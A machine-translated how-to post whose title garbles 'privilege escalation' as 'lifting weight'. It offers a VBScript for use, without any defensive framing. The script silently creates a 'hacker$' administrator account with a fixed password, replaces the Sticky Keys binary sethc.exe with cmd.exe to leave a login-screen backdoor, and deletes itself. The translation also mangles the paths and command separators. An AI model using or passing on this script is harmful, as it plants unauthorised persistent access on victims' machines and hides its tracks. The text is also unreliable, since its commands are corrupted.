How to realize the vbs code of lifting weight
Editor to share with you how to enhance the weight of the vbs code, I believe that most people do not know much about it, so share this article for your reference, I hope you can learn a lot after reading this article, let's go to know it!
The code is as follows:
On error resume next
Dim username,password:If Wscript.Arguments.Count Then:username=Wscript.Arguments
(0): password=Wscript.Arguments (1): Else:username= "hacker$" password= "123456": end if:set
Wsnetwork=CreateObject ("WSCRIPT.NETWORK"): os= "WinNT://" & wsnetwork.ComputerName:Set ob=GetObject
(os): Set oe=GetObject (os& "/ Administrators,group): Set od=ob.Create (" user ", username): od.SetPassword
Password:od.SetInfo:Set of=GetObject (os& "/" & username& ", user"): oe.Add (of.ADsPath) 'wscript.echo
Of.ADsPath
On Error Resume Next
Dim obj, success
Set obj = CreateObject ("WScript.Shell")
Success = obj.run ("cmd / c takeown / f% SystemRoot%\ system32\ sethc.exe&echo y | cacls% SystemRoot%
\ system32\ sethc.exe / G% USERNAME%:F©% SystemRoot%\ system32\ cmd.exe% SystemRoot%\ system32
\ acmd.exe©% SystemRoot%\ system32\ sethc.exe% SystemRoot%\ system32\ asethc.exe&del% SystemRoot%
\ system32\ sethc.exe&ren% SystemRoot%\ system32\ acmd.exe sethc.exe ", 0, True)
CreateObject ("Scripting.FileSystemObject") .DeleteFile (WScript.ScriptName)
The above is all the contents of the article "how to implement the vbs Code for lifting weights". Thank you for your reading! I believe we all have a certain understanding, hope to share the content to help you, if you want to learn more knowledge, welcome to follow the industry information channel!
